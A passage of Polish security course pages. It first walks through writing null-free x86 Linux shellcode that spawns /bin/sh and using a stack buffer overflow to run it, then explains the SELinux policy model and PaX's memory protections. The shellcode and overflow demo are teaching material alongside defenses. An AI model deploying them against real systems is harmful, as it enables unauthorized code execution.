0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x8048381 <main+29>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) x/bx main+28
0x8048380 <main+28>:    0xe9
(gdb) x/bx main+29
0x8048381 <main+29>:    0x2a

Rozbierając tak wszystkie instrukcje od main+28 do main+69 otrzymamy pełen kod. Spójrzmy teraz na następujący program:

przyklad9.c

char shellcode[]=
"\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46"
"\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00"
"\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh";

void main()
{
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;
}

Po skompilowaniu i uruchomieniu programu powinniśmy dostać nową powłokę a to oznacza sukces! Udało się. Program nie protestuje podczas modyfikowania kodu ponieważ znajduje się on w segmencie danych zainicjowanych.
Przygotowany przez nas shellcode ma niestety dużą wadę. Koniec łańcucha w C jest rozpoznawany przez znak \0. Nasz shellcode zawiera ich dość dużo ale na szczęście można je wyeliminować.

Instrukcja problematyczna

Zamiennik

movb   $0x0,0x7(%esi)                
molv   $0x0,0xc(%esi)                
xorl   %eax,%eax
movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
movl   $0xb,%eax
movb   $0xb,%al
movl   $0x1, %eax                    
movl   $0x0, %ebx   
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax

Po dokonaniu powyższych zmian mamy następujący kod w assemblerze (trzeba pamiętać o uaktualnieniu wartości offsetu dla JMP i CALL):

0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483a4 <main+64>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   xor    %eax,%eax
0x0804838b <main+39>:   mov    %al,0x7(%esi)
0x0804838e <main+42>:   mov    %eax,0xc(%esi)
0x08048391 <main+45>:   mov    $0xb,%al
0x08048393 <main+47>:   mov    %esi,%ebx
0x08048395 <main+49>:   lea    0x8(%esi),%ecx
0x08048398 <main+52>:   lea    0xc(%esi),%edx
0x0804839b <main+55>:   int    $0x80
0x0804839d <main+57>:   xor    %ebx,%ebx
0x0804839f <main+59>:   mov    %ebx,%eax
0x080483a1 <main+61>:   inc    %eax
0x080483a2 <main+62>:   int    $0x80
0x080483a4 <main+64>:   call   0x8048335 <main+33>
0x080483a9 <main+69>:   das    
0x080483aa <main+70>:   bound  %ebp,0x6e(%ecx)
0x080483ad <main+73>:   das    
0x080483ae <main+74>:   jae    0x8048418 <__libc_csu_fini+8>
0x080483b0 <main+76>:   add    %cl,%cl
0x080483b2 <main+78>:   ret    

Z tego kodu otrzymujemy następujący shellcode:

char shellcode[]=
"\xe9\x1f\x00\x00\x00\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Większość znaków \0 zostało usuniętych. Pozostały 3 które trzeba zmodyfikować ręcznie. Problem polega na tym, że instrukcja JMP operuje na argumentach typu długości słowa. Istnieje jej odpowiednik operujący na argumentach długości jednego bajtu. Musimy zmienić numer tej instrukcji (jest to pierwsza instrukcja) z \xe9 na \xeb, wykasować wszystkie \x00 oraz uaktualnić offset instrukcji JMP (drugi znak łańcucha, należy odjąć 3 ponieważ tyle znaków \00 usunęliśmy). Odpowiednio zmodyfikowany shellcode wygląda następująco:

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Do góry


7. Shellcode w akcji

Przyjrzyjmy się następnemu przykładowi:

przyklad10.c

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char duzy_lancuch[128];

int main()
{
	char bufor[96];
	int i;
	int *wsk = (int *) duzy_lancuch;
	for (i=0; i < 32; i++)
		*(wsk+i) = (int) bufor;
	for (i=0; i < strlen(shellcode); i++)
		duzy_lancuch[i] = shellcode[i];
	strcpy(bufor, duzy_lancuch);
}

Zobaczmy czy wykonanie programu da zamierzony efekt:

$ gcc przyklad8.c -o przyklad8
$ ./przyklad8
sh-3.1$ exit
$ 

Udało się, zobaczmy co się dzieje w kolejnych krokach programu.

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char duzy_lancuch[128];

int main()
{
        char bufor[96];
	int i;
	int *wsk = (int *) duzy_lancuch;
Inicjacja zmiennych.
	for (i=0; i < 32; i++)
		*(wsk+i) = (int) bufor;
Wypełnienie tablicy duzy_lancuch adresami do początku łańcucha bufor.
	for (i=0; i < strlen(shellcode); i++)
		duzy_lancuch[i] = shellcode[i];
Zapisanie łańcucha znajdującego się w shellcode na początku łańcucha duzy_lancuch.
	strcpy(bufor, duzy_lancuch);
}
Skopiowanie zawartości łańcucha duzy_lancuch do łańcucha bufor. W wyniku tej operacji na początku łańcucha bufor znajdzie się shellcode a zaraz za nim będą występowały adresy początku łańcucha bufor (czyli adres shellcode). W związku z tym, że duzy_lancuch jest dłuższy od łańcucha bufor, następuje przepełnienie bufora i adres powrotu z funkcji main zostanie nadpisany przez adres łańcucha bufor. Zakończenie wykonywania funkcji powoduje skok do początku łańcucha bufor i wykonanie zapisanych tam instrukcji - utworzenie nowej powłoki).

Do góry


8. Jak się bronić

Aby się bronić przed należy przede wszystkim stosować odpowiednie funkcje biblioteczne zapewniające kontrolę długości wprowadzanych łańcuchów. Dodatkowo warto rozważyć wykorzystanie dodatkowych mechanizmów zabezpieczających takich jak np. PaX czy SELinux. W poszukiwaniach takich błędów naszym sprzymierzeńcem może być np. grep, ew. można wykorzystywać oprogramowanie wspomagające takie poszukiwania (np. programy profilujące).

Do góry


9. Bibliografia

http://www.phrack.org/phrack/49/P49-14
http://www.linuxjournal.com/article/6701
http://pl.wikipedia.org/wiki/Buffer_overflow
http://www.enderunix.org/docs/eng/bof-eng.txt

Do góry ::


SE Linux - Security Enhanced Linux

1. Wprowadzenie

SELinux, czyli Security Enhanced Linux (Linux o wzmocnionym bezpieczeństwie) jest rozwiązaniem podnoszącym poziom bezpieczeństwa systemu Linux. W odróżnieniu jednak od dużej części innych rozwiązań nie koncentruje się on ani na usunięciu wybranych błędów w polityce bezpieczeństwa systemu, ani na rozwiązywaniu problemów wynikających z przyjętej konstrukcji systemu, ale proponuje całościowe rozwiązanie. SELinux to system z obowiązkową kontrolą dostępu (MAC - Mandatory Access Control), który realizuje politykę kontroli dostępu opartą na rolach (RBAC - Role Based Access Control) za pomocą domenowego systemu kontroli dostępu (DTAC - Dynamically Typed Access Control). Szczegółowe omówienie tego, co to znaczy znajdzie się w dalszej części prezentacji.

Ideą SELinuksa jest odebranie procesom tych uprawnień, które nie są im potrzebne. Dzięki temu zniszczenia, jakie mogą zostać poczynione w razie włamania do systemu, będą znikome (ograniczone do uprawnień jakie posiada proces, w którym błędy wykorzystano do włamania).

Do góry


2. Historia SELinuksa

Historia rozwiązań, o które opiera swoje działanie SELinux, zaczyna się wraz z zapoczątkowanym w 1992 roku projektem DTMach (Distributed Trusted Mach) - wersją jądra Mach z rozbudowanymi mechanizmami kontroli dostępu. Projekt ten był kontynuowany pod nazwą DTOS (Distributed Trusted Operating System), a gdy był bliski osiągnięcia postawionych mu celów, we współpracy z uniwersytetem w Utah, powstał projekt Flux, który rozwijał architekturę zabezpieczeń dla systemu operacyjnego Fluke. Architektura ta, która czerpała z rozwiązań DTOS otrzymała nazwę Flask. Opiera się ona o przyznanie każdemu obiektowi w systemie zestawu atrybutów bezpieczeństwa (security attributes), które składają się na kontekst bezpieczeństwa (security context). SELinux jest efektem zintegrowania architektury Flask z jądrem Linuksa. Aktualnie prace nad SELinuksem są prowadzone przez firmę Secure Computing Corporation (jest ona także właścicielem patentów wykorzystanych w SELinuksie), której działania finansuje NSA (National Security Agency).

Do góry


3. Elementy składowe SELinuksa

Można wyróżnić trzy najważniejsze części składowe SELinuksa:

Do góry


4. MAC, RBAC i DTAC w SELinuksie

4.1 MAC - Mandatory Access Control

MAC jest to system obowiązkowej kontroli dostępu. W przeciwieństwie do DAC (Discretionary Access Control) - najczęściej stosowanego w Linuksie modelu kontroli dostępu nie pozwala on użytkownikowi decydować o prawach dostępu do obiektów i zabezpieczeniach. Zamiast tego są one definiowane odgórnie przez administratora. W przypadku SELinuksa są one zapisane w postaci reguł Policy.

4.2 RBAC - Role Based Access Control

RBAC jest to system kontroli dostępu oparty na rolach. Rola jest pewnym zestawem praw do wykonywania określonych działań. W systemie dostępu opartym na rolach może wystąpić potrzeba zmiany roli, w ramach której wykonywane jest dane działanie. Większość systemów uniksowych zalicza się do systemów z RBAC: inną rolę w systemie ma tam zwykły użytkownik, inną użytkownik systemowy, a ponadto istnieje za pomocą SUID (SetUserID) możliwość zmiany roli przy wymagającym tego działaniu.

SELinux daje każdemu użytkownikowi zestaw ról, z czego jedna z nich jest rolą domyślną. Jedna rola może być wspólna dla wielu użytkowników, tj. wielu użytkowników może realizować tę samą rolę. SELinux pozwala na dokładniejsze dostosowanie ról do konkretnych potrzeb. Zasady RBAC są w nim realizowane za pomocą domenowego systemu kontroli dostępu (DTAC). Każda rola posiada zestaw domen dostępu.

4.3 DTAC - Dynamically Typed Access Control

DTAC jest to domenowy system kontroli dostępu. W DTAC każdemu obiektowi w systemie jest nadawany typ. Każdemu procesowi natomiast domena. Wszystkie obiekty o tym samym typie są traktowane jednakowo, tzn. zdefiniowany jest do nich (dla procesów każdej domeny osobno) jednakowy zestaw uprawnień. Podobnie wszystkie procesy w danej domenie mają takie same uprawnienia. Typy obiektów są nadawane odgórnie, użytkownik nie ma na nie bezpośredniego wpływu, aczkolwiek Policy może zezwalać na określoną zmianę typu w pewnych sytuacjach (por. Definicje Type Enforcement - przykład 3).

Do góry


5. Działanie SELinuksa

W systemie z SELinuksem każdy użytkownik ma przypisany zestaw ról, które może pełnić. Jedna z nich jest rolą domyślną. Każda rola dysponuje zestawem domen, zaś jedna z tych domen jest domyślna dla danej roli. Role mogą być wspólne dla wielu użytkowników a domeny mogą być wspólne dla wielu ról. W danym momencie użytkownik wykonuje dokładnie jedną rolę w jednej domenie. To wszystko obrazuje poniższy rysunek.

Graf opisujący zależności pomiędzy użytkownikami, rolami i domenami

Dla każdej pary (domena, typ obiektu) zdefiniowane są reguły zachowania systemu oraz uprawnienia, jakie użytkownik w danej domenie ma do obiektu danego typu.

Standardowym modelem uprawnień w Linuksie jest UGO (User, Group, Others). SELinux nie rozszerza tego modelu - tzn. nie nadaje uprawnień, których nie miał użytkownik w systemie bez SELinuksa. Dzięki czemu, jeśli nawet zasady Policy nie ograniczałyby w żaden sposób uprawnień użytkownika (pozwalałyby na wszystko), wówczas poziom bezpieczeństwa systemu operacyjnego byłby taki jak zwykłego Linuksa (czyli nie taki zły!).

Do góry


6. Kontekst bezpieczeństwa procesu i obiektu

Na kontekst bezpieczeństwa procesu składają się: użytkownik który wykonuje proces (a właściwie nazwa użytkownika), rola w jakiej występuje użytkownik oraz jedna z domen tej roli:

użytkownik:rola:domena

Przykładowo po zalogowaniu się do systemu użytkownika pawel, jego proces powłoki (shell) działał będzie w domyślnej roli (user_r) w domyślnej domenie (user_t). Zatem kontekstem bezpieczeństwa tego procesu będzie:

pawel:user_r:user_t

Do sprawdzenia kontekstu służy polecenie id, wówczas pojawi się m.in. context=uzytkownik:rola:domena. Można też wywołać id -Z, co przyniesie taki skutek, jak na przykładzie poniżej.

pawel@localhost ~ $ id -Z
pawel:user_r:user_t 
pawel@localhost ~ $ su
Password: 
localhost pawel # id -Z
pawel:user_r:user_t

Przykład ten pokazuje, że pomimo wykonania polecenia su i wprowadzenia poprawnego hasła roota nie zmieniły się ani rola użytkownika, ani domena w tej roli. Tym samym nie zmienił się zakres kompetencji użytkownika i polecenie su nie odniosło zamierzonego skutku. Żeby to zmienić należy użyć polecenia newrole, o ile oczywiście reguły Policy pozwolą na taką zmianę roli, jakiej będziemy chcieli (w tym wypadku jest to zmiana z user_r na sysadm_r).

localhost pawel # newrole -r sysadm_r
Password:
localhost pawel # id -Z
pawel:sysadm_r:sysadm_t 

Po wykonaniu polecenia newrole zmienił się kontekst procesu - nową rolą jest sysadm_r, która daje możliwości administrowania systemem, a nową domeną sysadm_t (będąca domyślną domeną sysadm_r).

Jak widać w kontekście bezpieczeństwa procesu istotne znaczenie mają rola i domena. Również obiekty mają swój (pełen) kontekst bezpieczeństwa. W nim kluczowe znaczenie ma typ. Przykładowo dla pliku wykonywalnego klienta IRC (np. Irssi) kontekstem bezpieczeństwa może być:

system_u:object_r:irc_exec_t

gdzie ostatnia część tego wyrażenia (irc_exec_t) jest typem pliku. Inne obiekty w systemie także mają swój kontekst bezpieczeństwa np.

system_u:object_r:http_port_t

może być kontekstem bezpieczeństwa portu TCP.

Zanim zaczniemy używać systemu z SELinuksem każdy obiekt musi mieć nadany swój kontekst bezpieczeństwa. Ma to miejsce w tzw. procesie etykietowania (labelling), który korzysta z definicji zawartych w pliku file_contexts. Poniżej przykładowe definicje z tego pliku.

/home system_u:object_r:home_root_t
/home/[^/]+ -d system_u:object_r:user_home_dir_t
/home/[^/]+/.+ system_u:object_r:user_home_t               

Pierwsza z nich oznacza, że katalog /home otrzyma typ home_root_t. Druga, że katalogi w katalogu /home otrzymają typ user_home_dir_t. Ostatnia natomiast, że wszystkie pliki i katalogi w podkatalogach katalogu /home otrzymają typ user_home_t.

Oczywiście po wykonaniu etykietowania, w trakcie działania systemu, będą mogły powstawać nowe obiekty (np. pliki). W momencie utworzenia otrzymają one typ zgodny z regułami Policy. Typ każdego obiektu nie jest nadany raz na zawsze - może ulec zmianie w wypadkach określonych regułami Policy.

Warto dodać, że wszystkie obiekty o tym samym typie są traktowane jednakowo z punktu widzenia tego, kto i jakie działania może na nich wykonywać oraz jak będzie zachowywał się system w momencie wykonywania tych działań (np. może zostać wymuszona zmiana domeny procesu, który uruchomi plik wykonywalny). Innymi słowy są traktowane tak samo z punktu widzenia Policy.

Do góry


7. Rodzaje reguł w Policy

Do góry


8. Definicje w SELinux Policy

8.1 Definicje Type Enforcement

Przykład 1. Deklaracje typów (plik attrib.te)

type sshd_t, domain, privuser, privrole, privlog, privowner;
type sshd_exec_t, file_type, exec_type, sysadmfile;
type sshd_tmp_t, file_type, sysadmfile, tmpfile;
type sshd_var_run_t, file_type, sysadmfile, pidfile;

Powyżej znajdują się definicje typów, które będą używane w regułach Policy.

Przykład 2. Reguły wymuszonych przejść

domain_auto_trans(initrc_t, sshd_exec_t, sshd_t)
file_type_auto_trans(sshd_t, tmp_t, sshd_tmp_t)
domain_auto_trans(sshd_t, shell_exec_t, user_t)

Powyżej znajdują się makra definiujące wymuszone przejścia. Pierwsze z powyższych makr (domain_auto_trans) jest regułą oznaczającą, że jeśli proces w domenie initrc_t uruchomi program z pliku o typie sshd_exec_t, to proces wykonujący ten program będzie działał w domenie sshd_t. Drugie z makr (file_type_auto_trans) jest natomiast regułą oznaczającą, że jeśli proces w domenie sshd_t otworzy (lub utworzy) plik o typie tmp_t, wówczas zmieni się typ tego pliku na sshd_tmp_t.

Przykład 3a. Reguły dozwolonych przejść (plik users.te)

type_change user_t tty_device_t:chr_file user_tty_device_t;
type_change sysadm_t tty_device_t:chr_file sysadm_tty_device_t;
type_change user_t sshd_devpts_t:chr_file user_devpts_t;
type_change sysadm_t sshd_devpts_t:chr_file sysadm_devpts_t;

Powyżej znajdują się reguły pozwalające procesowi działającemu w określonej domenie na zmianę pliku o ustalonym typie na inny ustalony typ. Na przykład pierwsza z reguł pozwala procesowi działającemu w domenie user_t (czyli w domyślnej domenie dla roli user_r, która jest domyślną rolą dla użytkownika) na zmianę typu pliku urządzenia znakowego tty_device_t na typ user_tty_device_t.

Przykład 3b. Reguły dozwolonych przejść

domain_trans(sshd_t, shell_ecec_t, sysadm_t)

Powyżej przykład makra definiującego dozwolone przejście. Parametry mają podobne znaczenie, jak w przypadku makra domain_auto_trans.

Przykład 4 Definicje wektorów dostępu

allow sshd_t sshd_exec_t:file { read execute entrypoint };
allow sshd_t sshd_tmp_t:file { create read write getattr setattr link unlink rename };

Powyżej znajdują się reguły definiujące, co proces w określonej domenie może zrobić z obiektem danego typu. Wszelkie działania, które nie zostaną w ten sposób zdefiniowane nie będą dozwolone.

8.2 Definicje RBAC

Przykład 1. Definicje ról

role user_r types { user_t user_irc_t };
role sysadm_r types { sysadm_t run_init_t user_irc_t };	

Powyżej znajdują się definicje ról. Dla każdej roli zostały ustalone jej domeny. Pierwsza z nich jest domeną domyślną. Domena user_irc_t jest wspólna dla ról user_r i sysadm_r.

Przykład 2. Reguły dozwolonych przejść

allow user_r sysadm_r;               

Powyżej znajduje się reguła pozwalająca na zmianę domeny z user_r na sysadm_r np. za pomocą polecenia newrole.

Przykład 3. Reguły przyznające role użytkownikom

user root roles { user_r sysadm_r };
user pawel roles user_r;

Powyżej znajdują się reguły definiujące role przypisane użytkownikom. Dla obu z nich domyślną rolą jest user_r.

Do góry


9. Najważniejsze cechy SELinuksa - podsumowanie

9.1 Zalety SELinuksa

9.2 Wady SELinuksa

Do góry


10. Bibliografia

Do góry


PaX

1. Wprowadzenie

Większość niebezpieczeństw związanych z oprogramowaniem ma swoje korzenie w błędach, które popełniają programiści. Błędy te często pojawiają się we fragmentach, kodu, które odpowiadają za interakcję z użytkownikiem (np. pobranie od użytkownika pewnej porcji danych). W ich wyniku wprawny użytkownik może próbować zaatakować system próbując:

PaX jest łatą na jądro systemu operacyjnego Linux, która w dość skuteczny sposób chroni przed tego typu atakami, a właściwie przed możliwością ich przeprowadzenia. PaX nie stara się szukać i naprawiać błędów popełnionych przez programistę. Jego główne działanie opiera się na:

Do góry


2. Budowa jądra ze wsparciem dla PaX

Aby zainstalować PaX należy zainstalować na aktualne jądro odpowiednią łatę (pobraną z http://pax.grsecurity.net) a następnie uruchomić standardową kofigurację. W sekcji

Security Options -> PaX

dostępne będą następujące opcje:

 [*] Enable various PaX features
PaX Control ->

 [ ] Support soft mode
 [*] Use legacy ELF header marking
 [*] Use ELF program header marking
    MAC system integration (none)  --->

Non-executable page ->

 [*] Enforce non-executable pages
 [*] Paging based non-executable pages
 [*] Segmentation based non-executable pages
 [*] Emulate trampolines
 [*] Restrict mprotect()
 [ ] Disallow ELF text relocations

Address Space Layout Randomization ->
 [*] Address Space Layout Randomization
 [*] Randomize kernel stack base
 [*] Randomize user stack base
 [*] Randomize mmap() base
 [*] Randomize ET_EXEC base

Po wybraniu odpowiednich opcji pozostaje skompilowanie jądra i umieszczenie go w katalogu /boot.

Do góry


3. Modyfikacje jądra wprowadzone przez PaX

3.1 Ochrona kodu wykonywalnego

3.1.1 Wprowadzenie

Główną cechą PaX jest wprowadzenie ochrony obszarów pamięci, w których znajduje się kod wykonywalny (Executable Space Protection). Różnice między pamięcią chronioną i nie chronioną przedstawiają następujące rysunki:

pamiec bez esp

Powyższy rysunek przedstawia przestrzeń pamięci procesu bez ESP. W tym przypadku cała pamięć procesu może być zapisywana jak również być źródłem kodu wykonywalnego. W rezultacie, proces sam może podmieniać swój kod (wpisując go w odpowiednie miejsce pamięci).

pamiec z esp

Powyższy rysunek przedstawia przestrzeń pamięci procesu z włączoną funkcją ESP. Widać, że każdy (zajęty) fragment pamięci jest jednoznacznie sklasyfikowany jako wykonywalny lub zapisywalny. W tej sytuacji proces nie ma możliwości podmiany kodu - taka próba zostałaby wykryta i zakończyłaby się niepowodzeniem (prawdopodobnie zakończeniem procesu).

W architekturach, w których jest dostępny, ESP wykorzystuje do ochrony bit NX (Non-eXecutable), jeżeli bit ten nie jest dostępny PaX go emuluje. Domyślnie system operacyjny Linux wykorzystuje bit NX do odpowiedniej ochrony pamięci, tak więc obszar pamięci programu wygląda tak jak na rysunku 2. Jednak nic nie stoi na przeszkodzie, aby program sam dokonywał zmian w tym obszarze i w rezultacie jego obszar pamięci może wyglądać tak jak na rysunku 1. Zadaniem PaX jest zapobieganie takim właśnie zmianom przestrzeni adresowej oraz takie ustawianie uprawnień dostępu do pamięci, aby program wykonał się poprawnie, ale aby nie było możliwe zrobienie niczego więcej (jest to tzw. zasada minimalnych uprawnień).

Jeżeli program w trakcie swojego działania modyfikuje jakiś obszar swojej pamięci, PaX dba o to, aby ten obszar nigdy "nie był wykonywany". W rezultacie nie jest możliwe wykonanie kodu znajdującego się w obszarze pamięci, do którego proces cos zapisywał, dopóki obszar ten nie zostanie zwolniony.

Jednak w niektórych przypadkach takie zabezpieczenie wydaje się być zbyt restrykcyjne - istnieją programy, które do poprawnego działania wymagają generowania kodu do wykonania w trakcie działania. Jednak większość takich programów może zostać zmodyfikowana i radzić sobie bez generowania kodu "on-line". Jeżeli taka możliwośc nie wchodzi w grę (np. program należy do tej "mniejszości" której nie da się zmodyfikować), PaX oferuje administratorowi systemu opcję wyłączenia omówionych wcześniej ograniczeń.

3.1.2 Podział ESP w PaX

Ochrona kodu wykonywalnego (NOEXEC) została w PaX podzielona na 2 części:

3.2 Losowe rozmieszczenie obszarów pamięci (ASLR)

Ta modyfikacja wprowadza ochronę przed atakami, które opierają się na pewnej wiedzy na temat rozmieszczenia poszczególnych obszarów w przestrzeni adresowej procesu. Po jej włączeniu PaX losowo rozmieszcza wybrane obszary pamieci (zawsze dotyczy to stosu i sterty, opcjonalnie można też kazać PaX'owi "przemieszać" inne obszary). Przykładowa przestrzeń adresowa procesu uruchomionego w systemie z włączoną opcją ASLR może wyglądać wiec tak:

pamiec z aslr

Po zastosowaniu ASLR, jedyne co pozostaje potencjalnemu intruzowi to "strzelanie" w adresy pamięci i sprawdzanie czy tam akurat znajduje się to czego szuka. Takie operacje (w przypadku niepowodzenia) powodują jednak wystąpienie błędów, które w rezultacie najprawdopodobniej zakończą atakowany proces. Ten sam proces po ponownym uruchomieniu będzie miał (dzięki ASLR) inaczej zorganizowaną pamięć, w wyniku czego intruzowi nie pomoże żadna wiedza zdobyta przy poprzednim ataku. Ponadto duża ilość "strzałów" w pamięć procesu jest łatwo wykrywalna (pojawia się dużo "crash'ów" procesu), a to z kolei obniża skuteczność tego typu ataków.

Do góry


4. PaX a błąd przepełnienia bufora

PaX nie jest nakładką, która ma wykrywać i zapobiegać samemu wystąpieniu błędu przepełnienia bufora. Jego głównym celem jest ochrona przed tym, co może nastąpić, gdy taki błąd już wystąpi. Najczęstszym sposobem wykorzystania omawianego błędu jest zmuszenie atakowanego komputera do wykonywania podstawionego kodu (i uzyskanie np. dostępu do systemu na prawach administratora).

Przeanalizujmy sposoby, na które intruz może próbować podstawić jakiś "obcy" kod i jak radzi sobie z tym PaX :

Do góry


5. Przed czym PaX nie chroni do końca

Skutecznie wykorzystując kontrolę uprawnień dostępu do pamięci, PaX jest jednym z niewielu narzędzi, które gwarantuje 100% skuteczność, jeżeli chodzi o ochronę przed wykonywaniem podstawionego kodu. Jednak istnieją ataki, przed którymi PaX nie daje juz 100% zabezpieczenia. Mowa tu o atakach, które swoje działanie opierają na pewnej wiedzy na temat przestrzeni adresowej procesu. Implementowany w PaX ASLR zabezpiecza system w takim sensie, że utrudnia włamanie się do systemu. Wprowadzając randomizację pamięci skazujemy potencjalnego intruza na dużo dłuższą i łatwiej wykrywalną próbę ataku. Ten jest jednak możliwy i w przypadku "zgadnięcia" odpowiedniego adresu pamięci - w pełni skuteczny.

Podobnie, korzystając z PaX nie zapewnimy ochrony przed atakami, które opierają się na wykorzystaniu już istniejącego kodu, ale w zamierzeniach autorów nie to było celem powstania omawianej łaty.

Do góry


6. Kiedy PaX nie jest dobrym pomysłem

Mimo bardzo skutecznej ochrony przed wykonywaniem podstawionego kodu, PaX ma swoje wady. Próba przeprowadzenia ataku kończy się zazwyczaj "wywaleniem się" atakowanego procesu. Jeżeli jest to proces istotny dla całego systemu, może to spowodować przerwę w jego pracy, a to może pociągnąć za sobą np. niedostępność witryny internetowej, za obsługę której ów system odpowiadał. W niektórych przypadkach takie zdarzenie nie jest akceptowalne - witryna internetowa może należeć do sklepu internetowego, więc jej niedostępność przekłada się na rzeczywiste straty finansowe. Rozważając użycie PaX należy się zastanowić, czy ważniejsze jest ciągłe i stabilne działanie systemu, czy absolutne bezpieczeństwo danych. PaX zdaje się być bardzo dobrym rozwiązaniem w tym drugim przypadku, gdyż w razie ewntualnego ataku żadne dane nie są kopiowane na zewnątrz.

Do góry


7. Bibliografia

http://en.wikipedia.org/wiki/PaX
http://pax.grsecurity.net/docs/pax.txt
http://pax.grsecurity.net/docs/noexec.txt
http://pax.grsecurity.net/docs/aslr.txt

Do góry


Valid XHTML 1.0 Strict